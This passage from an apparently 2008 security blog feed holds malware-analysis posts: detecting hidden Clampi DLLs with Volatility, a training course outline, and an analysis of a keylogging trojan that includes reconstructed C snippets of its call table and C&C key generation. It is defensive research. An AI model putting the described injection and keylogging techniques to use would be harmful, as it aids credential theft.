/&gt;&lt;br /&gt;Clampi, [4] is an example of a trojan with an integrated PE loader that has been around since at least December 2007. The authors did this to increase modularity and stealthiness at the same time. Clampi downloads DLLs from a C&amp;amp;C and stores them encrypted in the registry (the DLL never gets written to disk). When the Clampi process begins, it queries and decrypts the registry values, which yield a DLL in virtual memory. Then Clampi's PE loader begins to fill in the IAT and relocations.  Each DLL implements a different set of information-stealing tactics, which then become available to Clampi without it ever being "registered" in the PEB.&lt;br /&gt;&lt;br /&gt;Clampi uses IEXPLORE.EXE as the host process where it hides and executes the malicious DLLs. On a system infected with Clampi, I used listdlls.exe to show IEXPLORE.EXE's DLLs. As it turns out, all 85 DLLs are legitimate and have corresponding files on disk. This means that Clampi's integrated PE loader either failed and did not load any DLLs into IEXPLORE.EXE or it suceeded and the DLLs are hidden.&lt;br /&gt;&lt;br /&gt;Aaron Walters posed the question, [5] of how to use volatile memory forensics to locate hidden DLLs. I took a snapshot of the infected VMware system and analyzed the .vmem file using Volatility, [6]. In particular, I used the 'pslist' command to locate the PID of IEXPLORE.EXE from the memory image. Then, I used the 'dlllist' command to compare with the listdlls.exe output. Everything checks out - exactly 85 DLLs.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_jAVGHwajDek/SQ2cjd4n2dI/AAAAAAAABFY/R6YYa7SUqNc/s1600-h/pciture.png"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 320px; height: 145px;" src="http://4.bp.blogspot.com/_jAVGHwajDek/SQ2cjd4n2dI/AAAAAAAABFY/R6YYa7SUqNc/s320/pciture.png" alt="" id="BLOGGER_PHOTO_ID_5264035672597453266" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;A good place to begin looking for the hidden DLLs is the VAD (virtual address descriptor). Even though the DLLs are not listed in the PEB, they are still loaded into virtual memory of IEXPLORE.EXE. Therefore, by walking the VAD tree with Volatility, we can identify suspicious virtual memory segments based on their VAD pool type (VadS) and page protections, [8]. In particular, I looked for segments with the following protections:&lt;br /&gt;&lt;br /&gt;#define MM_EXECUTE             2&lt;br /&gt;#define MM_EXECUTE_READ        3&lt;br /&gt;#define MM_EXECUTE_READWRITE   6&lt;br /&gt;#define MM_EXECUTE_WRITECOPY   7&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_jAVGHwajDek/SQ4NsnswlmI/AAAAAAAABFg/s9IzLA8dmDY/s1600-h/suspicious.png"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 320px; height: 174px;" src="http://3.bp.blogspot.com/_jAVGHwajDek/SQ4NsnswlmI/AAAAAAAABFg/s9IzLA8dmDY/s320/suspicious.png" alt="" id="BLOGGER_PHOTO_ID_5264160074664810082" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The output shows three VadS entries with MM_EXECUTE_READWRITE protections. None of the entries have a corresponding FileObject like DLLs mapped via LoadLibrary() or LoadLibraryEx(). For comparison, here is the Vad entry for ws2_32.dll, which IEXPLORE.EXE mapped with LoadLibrary. Note the start and end address in virtual memory (71ab0000 - 71ac6fff), the page protection (MM_EXECUTE_WRITECOPY) and FileObject Name (\Windows\system32\ws2_32.dll).&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_jAVGHwajDek/SQ4WaVNjsWI/AAAAAAAABFw/I5MIkFGDEx4/s1600-h/winsock.png"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 320px; height: 133px;" src="http://1.bp.blogspot.com/_jAVGHwajDek/SQ4WaVNjsWI/AAAAAAAABFw/I5MIkFGDEx4/s320/winsock.png" alt="" id="BLOGGER_PHOTO_ID_5264169656069108066" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;It is also possible to narrow the suspicious Vad search results by looking at the data that the virtual memory of each Vad entry contains. The 'vaddump' command reconstructs the memory  and dumps it to disk for analysis. Then we can either use GT2, [9] or a hex editor to see what it contains. GT2 identifies the Vad entry at 0x1ddd0000 as being a Win32 PE file (a DLL).&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_jAVGHwajDek/SQ4cHwWLC4I/AAAAAAAABF4/md-JFjPUIjI/s1600-h/gt2.png"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 320px; height: 161px;" src="http://3.bp.blogspot.com/_jAVGHwajDek/SQ4cHwWLC4I/AAAAAAAABF4/md-JFjPUIjI/s320/gt2.png" alt="" id="BLOGGER_PHOTO_ID_5264175934005250946" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;An advantage to this method is that it also detects injected code that was never a DLL in the first place. For example, a Trojan could use WriteProcessMemory() to transfer a block of shell code and then invoke it with CreateRemoteThread(). In this case, we're just looking for executable pages that contain valid x86 instructions. We might also cross-reference the pages we find with thread start addresses.&lt;br /&gt;&lt;br /&gt;The following screenshot shows the contents of the suspicious Vad entry at 0x04310000. The hex editor view shows the remote thread "header" used by Clampi, which is the string "BEGIN" followed by several 0xCC bytes. The thread code starts immediately after the 0xCC bytes. IDA Pro can disassemble the instructions as 32-bit code and come up with a clean function ready for static analysis.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_jAVGHwajDek/SQ4jMsnZ92I/AAAAAAAABGA/Q3qX0h4BxEA/s1600-h/found.png"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 320px; height: 193px;" src="http://4.bp.blogspot.com/_jAVGHwajDek/SQ4jMsnZ92I/AAAAAAAABGA/Q3qX0h4BxEA/s320/found.png" alt="" id="BLOGGER_PHOTO_ID_5264183715484530530" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;In conclusion, volatile memory forensics can detect hidden DLLs and code blocks, even if an attacker uses reflective dll injection, manual mapping, or a similar technique. I'm looking forward to reading about other ways to detect hidden DLLs and code blocks.&lt;br /&gt;&lt;br /&gt;[1] &lt;a href="http://www.harmonysecurity.com/ReflectiveDllInjection.html"&gt;Harmony Security "Reflective Dll Injection"&lt;/a&gt;&lt;br /&gt;[2] &lt;a href="http://www.woodmann.com/collaborative/tools/index.php/ManualMap"&gt;ManualMap by Darawk&lt;/a&gt;&lt;br /&gt;[3] &lt;a href="http://www.battleforums.com/forums/diablo-hacking/104427-cloakdll-cpp.html"&gt;CloakDll by Darawk&lt;/a&gt;&lt;br /&gt;[4] &lt;a href="http://threatexpert.com/reports.aspx?find=criticalfactor.cc"&gt;ThreatExpert search for criticalfactor.cc (Clampi C&amp;amp;C)&lt;/a&gt;&lt;br /&gt;[5] &lt;a href="http://volatility.tumblr.com/post/57441548/reflective-dll-injection"&gt;Volatility Blog - Reflective Dll Injection&lt;/a&gt;&lt;br /&gt;[6] &lt;a href="https://www.volatilesystems.com/"&gt;Volatility &lt;/a&gt;&lt;br /&gt;[7] &lt;a href="http://www.dfrws.org/2007/proceedings/p62-dolan-gavitt.pdf"&gt;The Vad Tree: A process-eye view of physical memory&lt;/a&gt;&lt;br /&gt;[8] &lt;a href="http://www.reactos.org/wiki/index.php/Techwiki/ntoskrnl/MMVAD"&gt;ReactOS MMVAD structure for Windows XP&lt;/a&gt;&lt;br /&gt;[9] &lt;a href="http://philip.helger.com/gt/gt2.htm"&gt;GetType2 file detection utility&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3630199973361886660-1791387641756791667?l=mnin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mnin.blogspot.com/feeds/1791387641756791667/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3630199973361886660&amp;postID=1791387641756791667' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/1791387641756791667'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/1791387641756791667'/><link rel='alternate' type='text/html' href='http://mnin.blogspot.com/2008/11/locating-hidden-clampi-dlls-vad-style.html' title='Locating Hidden Clampi DLLs (VAD-style)'/><author><name>Michael Hale Ligh</name><uri>http://www.blogger.com/profile/17377327006242921434</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_jAVGHwajDek/SQ2cjd4n2dI/AAAAAAAABFY/R6YYa7SUqNc/s72-c/pciture.png' height='72' width='72'/><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3630199973361886660.post-4066717431783290531</id><published>2008-10-09T10:01:00.005-06:00</published><updated>2008-10-14T15:25:21.831-06:00</updated><title type='text'>Advanced Malware Analysis @ ICCYBER Brazil</title><content type='html'>I just returned home from a trip to Rio de Janeiro, Brazil, where I had the pleasure of teaching a 3-day training course called "Advanced Malware Analysis and Network Forensics" (via &lt;a href="http://labs.idefense.com"&gt;iDEFENSE&lt;/a&gt;) for the Brazilian Federal Police. This is the location of 2008 &lt;a href="http://www.iccyber.org/2008/english/index.html"&gt;ICCYBER&lt;/a&gt;, International Conference on Cyber Crimes Investigation.&lt;br /&gt;&lt;br /&gt;The course consisted of 315 slides, 36 hands-on exercises, and 10 custom programs. It requires the use of over 150 tools - most of them are free. It ties together theory and in-the-wild practice to provide the most comprehensive knowledge for modern malware analysis.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;========= Day 1 &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Static Analysis&lt;br /&gt;&lt;ul&gt;&lt;li&gt;File type identification&lt;/li&gt;&lt;li&gt;PE/COFF concepts&lt;/li&gt;&lt;li&gt;Assembly language&lt;/li&gt;&lt;li&gt;Using a dissassembler&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;Dynamic Analysis&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Using a debugger&lt;/li&gt;&lt;li&gt;Unpacking files&lt;/li&gt;&lt;li&gt;Anti-debugging &lt;/li&gt;&lt;li&gt;Anti-virtualization &lt;/li&gt;&lt;li&gt;Monitoring for changes&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold;"&gt;========= &lt;/span&gt;&lt;span style="font-weight: bold;"&gt;Day 2&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Code injection&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Active injection&lt;/li&gt;&lt;li&gt;Passive injection&lt;/li&gt;&lt;li&gt;Immediate injection&lt;/li&gt;&lt;li&gt;Delayed injection&lt;/li&gt;&lt;/ul&gt;Rootkits&lt;br /&gt;&lt;ul&gt;&lt;li&gt;User mode rootkits&lt;/li&gt;&lt;li&gt;Kernel mode rootkits&lt;/li&gt;&lt;li&gt;Installation of rootkits&lt;/li&gt;&lt;li&gt;Hybrid rootkits&lt;/li&gt;&lt;/ul&gt;Hiding and Detection&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Covert channels&lt;/li&gt;&lt;li&gt;Hiding in plain sight&lt;/li&gt;&lt;li&gt;Detecting stealth malware&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold;"&gt;========= &lt;/span&gt;&lt;span style="font-weight: bold;"&gt;Day 3 &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Advanced Analysis&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Custom API monitor&lt;/li&gt;&lt;li&gt;Intercepting/replaying network traffic&lt;/li&gt;&lt;li&gt;Memory analysis&lt;/li&gt;&lt;li&gt;Inter-process communication&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Examining shell code&lt;/li&gt;&lt;/ul&gt;Obfuscation / Encryption&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Identifying and reversing algorithms&lt;/li&gt;&lt;li&gt;Scripting a debugger for decryption&lt;/li&gt;&lt;li&gt;Recovering stolen information&lt;/li&gt;&lt;/ul&gt;Sophisticated Malware&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Case studies and discussions&lt;/li&gt;&lt;/ul&gt;I didn't leave Brazil right after the training. Suzanne and I spent a few days exploring the bazaars, beaches, restaurants, shops, and big Jesus statues. Here is a photo from the rooftop of our hotel.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_jAVGHwajDek/SO4zgNs1_NI/AAAAAAAAA1E/dMbbR8tb1uI/s1600-h/IMG_1005.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_jAVGHwajDek/SO4zgNs1_NI/AAAAAAAAA1E/dMbbR8tb1uI/s320/IMG_1005.JPG" alt="" id="BLOGGER_PHOTO_ID_5255194443714526418" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3630199973361886660-4066717431783290531?l=mnin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mnin.blogspot.com/feeds/4066717431783290531/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3630199973361886660&amp;postID=4066717431783290531' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/4066717431783290531'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/4066717431783290531'/><link rel='alternate' type='text/html' href='http://mnin.blogspot.com/2008/10/advanced-malware-analysis-iccyber.html' title='Advanced Malware Analysis @ ICCYBER Brazil'/><author><name>Michael Hale Ligh</name><uri>http://www.blogger.com/profile/17377327006242921434</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_jAVGHwajDek/SO4zgNs1_NI/AAAAAAAAA1E/dMbbR8tb1uI/s72-c/IMG_1005.JPG' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3630199973361886660.post-9176925993603935946</id><published>2008-08-15T11:20:00.004-06:00</published><updated>2008-08-15T11:52:21.766-06:00</updated><title type='text'>Passive Identify Theft</title><content type='html'>Have you ever asked for something and not received it? Have you ever received something you didn't ask for? The later has happened to me in increasing numbers over the past few weeks. Apparently, one of my email addresses closely resembles one which belongs to someone else. I didn't think much of the first email which contained a picture of "dad on a hammock." In fact, I thought it was just a spam.&lt;br /&gt;&lt;br /&gt;Later, I got an email from the HR department of some company I've never heard about. They wanted to discuss a few questions about my new employment. Now I have a picture of someone's dad and I know where he currently works.&lt;br /&gt;&lt;br /&gt;Next, I stayed at a hotel in Las Vegas for Blackhat/Defcon. I asked that they email a copy of my receipt for records and gave them my email address. I guess based on my email address, they tried to determine my name, and ended up making a big mistake. They sent me this other guy's receipt, who had stayed at the same hotel a month before. Now I know his hotel preference, his home address, and a few digits of his credit card number.&lt;br /&gt;&lt;br /&gt;Yesterday, I received another email. It contained a PDF attachment and said "here is the paycheck information you requested." I didn't put two and two together at first. I thought it was a new PDF based exploit, so I opened it on VMWARE. Turns out - it told me where this guy previously worked, how much he made, his marriage status, where he lived last year, how much he contributes to 401k, and interestingly - how much he gets for severace pay. So, he got fired most likely, then applied for a new job with that other company.&lt;br /&gt;&lt;br /&gt;I guess the moral of the story is simple. Your name is Billy Bob. Someone else already owns billy.bob@mailme.com. Do not choose billy_bob@mailme.com for your address. Choose something more unique so all the hundreds of sloppy people who will potentially email you in the future have no problem getting your message to the right person.&lt;br /&gt;&lt;br /&gt;The worst part of it all is that I don't know this guy's real email address, so I can't write him to let him know what's going on.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3630199973361886660-9176925993603935946?l=mnin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mnin.blogspot.com/feeds/9176925993603935946/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3630199973361886660&amp;postID=9176925993603935946' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/9176925993603935946'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/9176925993603935946'/><link rel='alternate' type='text/html' href='http://mnin.blogspot.com/2008/08/passive-identify-theft.html' title='Passive Identify Theft'/><author><name>Michael Hale Ligh</name><uri>http://www.blogger.com/profile/17377327006242921434</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3630199973361886660.post-9018704732604808917</id><published>2008-08-13T16:23:00.003-06:00</published><updated>2008-08-14T11:15:07.826-06:00</updated><title type='text'>Malware RCE: Debuggers and Decryptor Development</title><content type='html'>The presentation that Greg and I gave at Defcon16 was received very well. We had great attendance (especially for Sunday at 2pm) and nothing but positive feedback. One of the most respected individuals in our field said it was the "deepest and fastest paced" of the day. I spilled a little beer on stage, but hopefully the conference will still invite us back for another talk in the future.&lt;br /&gt;&lt;br /&gt;The slides, Python scripts, Flash demos and other materials are online at the Google Code site:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://code.google.com/p/mhl-malware-scripts"&gt;http://code.google.com/p/mhl-malware-scripts&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3630199973361886660-9018704732604808917?l=mnin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mnin.blogspot.com/feeds/9018704732604808917/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3630199973361886660&amp;postID=9018704732604808917' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/9018704732604808917'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/9018704732604808917'/><link rel='alternate' type='text/html' href='http://mnin.blogspot.com/2008/08/malware-rce-debuggers-and-decryptor.html' title='Malware RCE: Debuggers and Decryptor Development'/><author><name>Michael Hale Ligh</name><uri>http://www.blogger.com/profile/17377327006242921434</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3630199973361886660.post-585468576193660899</id><published>2008-08-13T13:05:00.007-06:00</published><updated>2008-08-13T13:37:14.470-06:00</updated><title type='text'>Trojans and Roses</title><content type='html'>I attended the &lt;a href="http://www.blackhat.com/html/bh-usa-08/train-bh-usa-08-hbgary-rootkit3.html"&gt;Reverse Engineering Rootkits&lt;/a&gt; course at Blackhat USA 2008 and received a complimentary copy of &lt;a href="http://www.hbgary.com/responder_pro.html"&gt;HBGary Responder Pro&lt;/a&gt;. I was experimenting with the graph functionality by investigating the cross-references to a string decoding function in a Laqma sample. The "smart organic" graph generated a surprisingly pretty image that I thought was worth sharing.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_jAVGHwajDek/SKM31OgXyEI/AAAAAAAAApo/f1Oo18T6yPU/s1600-h/growup_sub_004030C0.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_jAVGHwajDek/SKM31OgXyEI/AAAAAAAAApo/f1Oo18T6yPU/s320/growup_sub_004030C0.png" alt="" id="BLOGGER_PHOTO_ID_5234088579501115458" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_jAVGHwajDek/SKM0-gXJLsI/AAAAAAAAApg/FTrVg3oUg_4/s1600-h/growup_sub_004030C0.png"&gt;&lt;br /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3630199973361886660-585468576193660899?l=mnin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mnin.blogspot.com/feeds/585468576193660899/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3630199973361886660&amp;postID=585468576193660899' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/585468576193660899'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/585468576193660899'/><link rel='alternate' type='text/html' href='http://mnin.blogspot.com/2008/08/trojans-and-roses.html' title='Trojans and Roses'/><author><name>Michael Hale Ligh</name><uri>http://www.blogger.com/profile/17377327006242921434</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_jAVGHwajDek/SKM31OgXyEI/AAAAAAAAApo/f1Oo18T6yPU/s72-c/growup_sub_004030C0.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3630199973361886660.post-4538790193451815073</id><published>2008-07-08T11:41:00.018-06:00</published><updated>2008-12-10T11:02:28.115-06:00</updated><title type='text'>ASLR's Impact on a Trojan's C&amp;C Encryption Key Predictability</title><content type='html'>The &lt;a href="http://emergingthreats.net/" target="_blank"&gt;emergingthreats.net&lt;/a&gt; sandbox recently logged 30-40 instances of malware communicating over port 3460 with some custom encryption. I did a quick analysis to see what data is being&lt;br /&gt;encrypted and also to see if there's anything worth creating an IDS signature for. Most of the time, its very interesting to  learn what a custom crypto engine uses to derive the keys,  because its likely to reveal one weakness or another (that's why malware authors write malware instead of crypto algorithms).&lt;br /&gt;&lt;br /&gt;My most interesting find is that the encryption keys are significantly less predictable on systems with ASLR (like Vista) than with  other versions of Windows, although ASLR is completely an&lt;br /&gt;indirect factor in the process to derive keys. If I had to think of  analogy for this, I would say that its similar to a Trojan that sets the system time to a specific value and then calls GetSystemTime&lt;br /&gt;to seed the random number generator.&lt;br /&gt;&lt;br /&gt;Lastly, I wanted to share this malware story because of the effect that it has on  debugging. The author screwed up writing his windowing loop, which produces a deadlock on the entire system if the Trojan is run from a debugger. This is actually the best anti-debugging feature I've seen to date...and its an accident!!&lt;br /&gt;&lt;br /&gt;The malware is essentially a key logger for all windowing processes (i.e. not just browsers). The way it works it that it uses SetWindowsHookEx to inject code into remote processes. The hook creates a filter WM_KEYFIRST messages and then uses GetKeyboardState, GetKeyNameTextA, ToAscii, and GetWindowTextA to log the key pressed along with the title of the window in which the key was pressed.&lt;br /&gt;&lt;br /&gt;The malware creates a temporary file on disk containing the logged data. The screen shot below shows a sample of the content. Most the non-ASCII characters are the bytes that represent the system time when the log entry was created.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_jAVGHwajDek/SHOn_MCwCMI/AAAAAAAAAlc/b4jacg4j6tI/s1600-h/tmp_tmp.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_jAVGHwajDek/SHOn_MCwCMI/AAAAAAAAAlc/b4jacg4j6tI/s320/tmp_tmp.png" alt="" id="BLOGGER_PHOTO_ID_5220701097058896066" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Anyway, I didn't decipher the c&amp;amp;c entirely, but I'm 99% sure the data sent to the c&amp;amp;c server is the uploaded key log data.The initial packet to the c&amp;amp;c server is always 256 bytes, which most likely is the key for decrypting the rest of the traffic.&lt;br /&gt;&lt;br /&gt;My notes on the c&amp;amp;c key are below. Then there is some summary of important points at the end. Its pretty neat how two completely unrelated things tie together here. For example, the base address of the function call table in memory is actually the most critical factor in the decryption key.&lt;br /&gt;&lt;br /&gt;//This is the structure of the call table. It contains&lt;br /&gt;//one u_char that is always NULL at the base, and then&lt;br /&gt;//an array of function pointers - one for each of the&lt;br /&gt;//API functions that the Trojan needs to call&lt;br /&gt;typedef struct CALL_TABLE {&lt;br /&gt;u_char i;&lt;br /&gt;void * addr[66];&lt;br /&gt;} call_table;&lt;br /&gt;&lt;br /&gt;//The Trojan declares a call table structure on the stack&lt;br /&gt;//of the main thread. The base address of the call table&lt;br /&gt;//will remain static as long as the OS does not implement&lt;br /&gt;//ASLR (address space layout randomization)&lt;br /&gt;call_table calls;&lt;br /&gt;&lt;br /&gt;//The addresses for function calls are filled into the&lt;br /&gt;//structure using a method such as the following:&lt;br /&gt;HMODULE hWinsock = LoadLibrary("ws2_32.dll");&lt;br /&gt;calls.addr[0] = (void *) GetProcAddress(hWinsock, "socket");&lt;br /&gt;calls.addr[1] = (void *) GetProcAddress(hWinsock, "connect");&lt;br /&gt;&lt;br /&gt;Take a look at the &lt;a href="http://docs.google.com/Doc?id=dcrg6pqk_244d29pchd"&gt;full function call table&lt;/a&gt;, which I extracted from memory after the Trojan completed the resolution. Note how the base address is 0x12f074.....&lt;br /&gt;&lt;br /&gt;//This is a declaration which corresponds to the size&lt;br /&gt;//of the initial packet we see in pcaps over port 3460&lt;br /&gt;#define KEY_SIZE 256&lt;br /&gt;&lt;br /&gt;//This is the structure of a key entry. The initial packet&lt;br /&gt;//of 256 bytes is essentially an array of 32 key_entry structs&lt;br /&gt;typedef struct KEY_ENTRY {&lt;br /&gt;int a;&lt;br /&gt;int b;&lt;br /&gt;} key_entry;&lt;br /&gt;&lt;br /&gt;//This is the array of 32 key_entry structs which becomes&lt;br /&gt;//the 256 byte key sent in initial packet&lt;br /&gt;key_entry keys[KEY_SIZE/sizeof(key_entry)];&lt;br /&gt;&lt;div class="gmail_quote"&gt;&lt;br /&gt;//The Trojan fills in the values for the 256 byte key. The&lt;br /&gt;//"b" member of the key_entry structure is always set to the&lt;br /&gt;//base address of the function call table (0x12f074). As&lt;br /&gt;//previously mentioned, this will remain the same unless ASLR&lt;br /&gt;//is used or the program is recompiled with a different&lt;br /&gt;//number/order of stack variables. Also, this creates a&lt;br /&gt;//pattern because exactly 50% of the 32-bit numbers in the&lt;br /&gt;//initial packet will be the same.&lt;br /&gt;for (i=0; i (less than) KEY_SIZE/sizeof(key_entry); i++)&lt;br /&gt;{&lt;br /&gt; keys[i].a  = myrand();   //A psuedo random number&lt;br /&gt;  keys[i].b = (int)&amp;calls; //The base address of call table&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;The following screen shot shows the appe
